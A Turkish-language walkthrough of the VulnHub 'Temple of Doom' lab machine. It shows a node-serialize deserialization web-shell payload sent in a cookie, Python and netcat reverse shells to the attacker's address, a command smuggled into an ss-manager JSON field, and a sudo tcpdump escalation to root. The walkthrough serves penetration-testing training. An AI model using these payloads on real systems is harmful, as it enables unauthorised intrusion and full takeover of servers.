Makine Hakkında Bilgiler
Açıklama:
Doesn't work with VMware. Virtualbox only.
Vulnhub Sayfası:
https://www.vulnhub.com/entry/temple-of-doom-1,243/
İndirme Sayfası:
https://download.vulnhub.com/templeofdoom/temple-of-DOOM-v1.ova
Walkthrough
Makinenin ip adresini tespit edelim.
┌──(root💀kali)-[/home/kali]
└─# ifconfig eth0 130 ⨯
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe0e:348d prefixlen 64 scopeid 0x20<link>
ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)
RX packets 77757 bytes 15750703 (15.0 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 79983 bytes 5220485 (4.9 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(root💀kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:0e:34:8d, IPv4: 10.0.2.15
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 52:54:00:12:35:00 QEMU
10.0.2.3 08:00:27:af:98:1e PCS Systemtechnik GmbH
10.0.2.4 08:00:27:80:d6:32 PCS Systemtechnik GmbH
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.160 seconds (118.52 hosts/sec). 4 responded
nmap tarması ile devam edelim.
┌──(root💀kali)-[/home/kali]
└─# nmap -p- -A -T4 10.0.2.4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-17 13:45 EDT
Stats: 0:01:12 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 98.54% done; ETC: 13:46 (0:00:00 remaining)
Nmap scan report for 10.0.2.4
Host is up (0.00054s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 95:68:04:c7:42:03:04:cd:00:4e:36:7e:cd:4f:66:ea (RSA)
| 256 c3:06:5f:7f:17:b6:cb:bc:79:6b:46:46:cc:11:3a:7d (ECDSA)
|_ 256 63:0c:28:88:25:d5:48:19:82:bb:bd:72:c6:6c:68:50 (ED25519)
666/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 08:00:27:80:D6:32 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.54 ms 10.0.2.4
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.89 seconds
666'da Node Js Express olduğunu görüyoruz ve hemen incelemeye başladım. http://10.0.2.4:666/ adresini ziyaret ettiğimde aşağıdaki gibi bir hata aldım.
SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)Bunun üzerine burp aracılığı ile trafiği incelemeye başladım. Sayfanın hata mesajlarından anladığımıza göre node-serialize modülünde bir hata olduğu anlaşılıyor. Bununla ilgili bir exploit var mı diye inceleme başladım.
┌──(kali㉿kali)-[~]
└─$ searchsploit node-serialize
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution | linux/remote/45265.js
Node.JS - 'node-serialize' Remote Code Execution (2) | nodejs/webapps/49552.py
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(kali㉿kali)-[~]
└─$ locate linux/remote/45265.js
/usr/share/exploitdb/exploits/linux/remote/45265.js
┌──(kali㉿kali)-[~]
└─$ head /usr/share/exploitdb/exploits/linux/remote/45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload); Harika burdaki kodu ve node-serialize kütüphanesinin kodunu okuyup anladım. Buradaki kodu kullanmak yerine kendim bir payload geliştirdim ve teker teker kodları yazmak yerine bir web shell aracılığı ile makineye bağlanmaya denedim. İşte kendi kodum:
var serialize = require('node-serialize');
var payload = {
"webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
}
serialize.unserialize(serialize.serialize(payload))Yukarıda geliştirdiğim kodu exploit-db'ye gönderdim ve bir paper'da yazdım. Yakında bunuda paylaşacağım. Bundan dolayı nasıl exploit ettiğimi çok hızlı geçiyorum. İleride buraya kodyuğum link üzerinden okuma işlemini gerçekleştirebilirsiniz.
Aşağıdaki payload'ı aldım ve base64'e dönüştürüp unseriliaze edilecek Cookie alanına yerleştirdim.
{"username":"_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()" }base64:
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe2NvbnN0IGh0dHAgPSByZXF1aXJlKCdodHRwJyk7IGNvbnN0IHVybCA9IHJlcXVpcmUoJ3VybCcpOyBjb25zdCBwcyAgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7IGh0dHAuY3JlYXRlU2VydmVyKGZ1bmN0aW9uIChyZXEsIHJlcykgeyB2YXIgcXVlcnlPYmplY3QgPSB1cmwucGFyc2UocmVxLnVybCx0cnVlKS5xdWVyeTsgdmFyIGNtZCA9IHF1ZXJ5T2JqZWN0WydjbWQnXTsgdHJ5IHsgcHMuZXhlYyhjbWQsIGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikgeyByZXMuZW5kKHN0ZG91dCk7IH0pOyB9IGNhdGNoIChlcnJvcikgeyByZXR1cm47IH19KS5saXN0ZW4oNDQzKTsgfSgpIiB9ACİstek:
GET / HTTP/1.1
Host: 10.0.2.4:666
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe2NvbnN0IGh0dHAgPSByZXF1aXJlKCdodHRwJyk7IGNvbnN0IHVybCA9IHJlcXVpcmUoJ3VybCcpOyBjb25zdCBwcyAgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7IGh0dHAuY3JlYXRlU2VydmVyKGZ1bmN0aW9uIChyZXEsIHJlcykgeyB2YXIgcXVlcnlPYmplY3QgPSB1cmwucGFyc2UocmVxLnVybCx0cnVlKS5xdWVyeTsgdmFyIGNtZCA9IHF1ZXJ5T2JqZWN0WydjbWQnXTsgdHJ5IHsgcHMuZXhlYyhjbWQsIGZ1bmN0aW9uKGVycm9yLCBzdGRvdXQsIHN0ZGVycikgeyByZXMuZW5kKHN0ZG91dCk7IH0pOyB9IGNhdGNoIChlcnJvcikgeyByZXR1cm47IH19KS5saXN0ZW4oNDQzKTsgfSgpIiB9
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0Bu işlem sonucunda bir kontrol gerçekleştirdim.
┌──(root💀kali)-[/home/kali]
└─# nmap 10.0.2.4 -p 443
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-17 11:20 EDT
Nmap scan report for 10.0.2.4
Host is up (0.00050s latency).
PORT STATE SERVICE
443/tcp closed https
MAC Address: 08:00:27:80:D6:32 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
İlk başita görüldüğü üzere 443. portumuz kapalıdır. Daha sonrasında isteğimizi yollayalım ve tekrar nmap taraması geçekleştirelim.
┌──(root💀kali)-[/home/kali]
└─# nmap 10.0.2.4 -p 443
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-17 11:22 EDT
Nmap scan report for 10.0.2.4
Host is up (0.00043s latency).
PORT STATE SERVICE
443/tcp open https
MAC Address: 08:00:27:80:D6:32 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
Harika!
┌──(root💀kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin
Evet artık bir web shell'imiz var. Python ile tarayıcı üzerinden bir reverse shell almayı denedim.
http://10.0.2.4:443/?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.0.2.15%22,1822));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27┌──(root💀kali)-[/home/kali]
└─# nc -lvp 1822
listening on [any] 1822 ...
ls
10.0.2.4: inverse host lookup failed: Host name lookup failure
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 58222
[nodeadmin@localhost ~]$ ls
[nodeadmin@localhost ~]$ ls
ls
[nodeadmin@localhost ~]$ whoami
whoami
nodeadmin
Evet daha sonrasında https://github.com/kudayDOTsite/linux-smart-enumeration adresinde bulunan enum scriptini wget aracılığı ile hedef sunucuya attım ve incelemeler yapmaya başladım. Bu esnada şöyle bir çıktı yakaladım.
------ fireman ------
START PID USER COMMAND
11:20 848 fireman /usr/local/bin/ss-manager
---
ss-manager aracını internet üzerinden aradığımda kolay bir şekilde manipüle edebileceğimi gördüm. fireman kullanıcısına geçiş yapacağız. Bunun için https://www.exploit-db.com/exploits/43006 adresini ziyaret edebilirsiniz.
[nodeadmin@localhost tmp]$ nc -u 127.0.0.1 8839
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"|| nc 10.0.2.15 1822 -e /bin/bash||"}
Kendimde yeni açmış olduğum dinleme noktasına fireman kullanıcısından bir kabuk geldi.
┌──(kali㉿kali)-[~]
└─$ nc -lvp 1822
listening on [any] 1822 ...
ls
10.0.2.4: inverse host lookup failed: Host name lookup failure
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 58230
ls
ls
pwd
/root
whoami
fireman
İlgili kullanıcı ilede enum scripti ile incelemeler yaptım ve tcpdum binary dosyasının fireman tarafından çalıştırılabileceğini gördüm.
sudo -l
Matching Defaults entries for fireman on localhost:
!visiblepw, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fireman may run the following commands on localhost:
(ALL) NOPASSWD: /sbin/iptables
(ALL) NOPASSWD: /usr/bin/nmcli
(ALL) NOPASSWD: /usr/sbin/tcpdump
https://pure.security/how-i-got-root-with-sudo/ adresinden öğrediğime göre tcpdum ile root kullanıcısına zıplayabiliriz.
echo $'nc 10.0.2.15 1823 -e /bin/bash' > /tmp/.test2
chmod +x /tmp/.test2
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test2 -Z rootKendimde açmış olduğum 1823 noktasına root kabuğu bağlayabildim.
┌──(kali㉿kali)-[~]
└─$ nc -lvp 1823 1 ⨯
listening on [any] 1823 ...
ls
10.0.2.4: inverse host lookup failed: Host name lookup failure
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.4] 50250
ls
ls -l
total 0
whoami
root
cd /
ls
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
cd root
ls
flag.txt
cat flag.txt
[+] You're a soldier.
[+] One of the best that the world could set against
[+] the demonic invasion.
+-----------------------------------------------------------------------------+
| | |\ -~ / \ / |
|~~__ | \ | \/ /\ /|
| -- | \ | / \ / \ / |
| |~_| \ \___|/ \/ / |
|--__ | -- |\________________________________/~~\~~| / \ / \ |
| |~~--__ |~_|____|____|____|____|____|____|/ / \/|\ / \/ \/|
| | |~--_|__|____|____|____|____|____|_/ /| |/ \ / \ / |
|___|______|__|_||____|____|____|____|____|__[]/_|----| \/ \ / |
| \mmmm : | _|___|____|____|____|____|____|___| /\| / \ / \ |
| B :_--~~ |_|____|____|____|____|____|____| | |\/ \ / \ |
| __--P : | / / / | \ / \ /\|
|~~ | : | / ~~~ | \ / \ / |
| | |/ .-. | /\ \ / |
| | / | | |/ \ /\ |
| | / | | -_ \ / \ |
+-----------------------------------------------------------------------------+
| | /| | | 2 3 4 | /~~~~~\ | /| |_| .... ......... |
| | ~|~ | % | | | ~J~ | | ~|~ % |_| .... ......... |
| AMMO | HEALTH | 5 6 7 | \===/ | ARMOR |#| .... ......... |
+-----------------------------------------------------------------------------+
FLAG: kre0cu4jl4rzjicpo1i7z5l1
[+] Congratulations on completing this VM & I hope you enjoyed my first boot2root.
[+] You can follow me on twitter: @0katz
[+] Thanks to the homie: @Pink_P4nther
İlk Yorumu Siz Yapın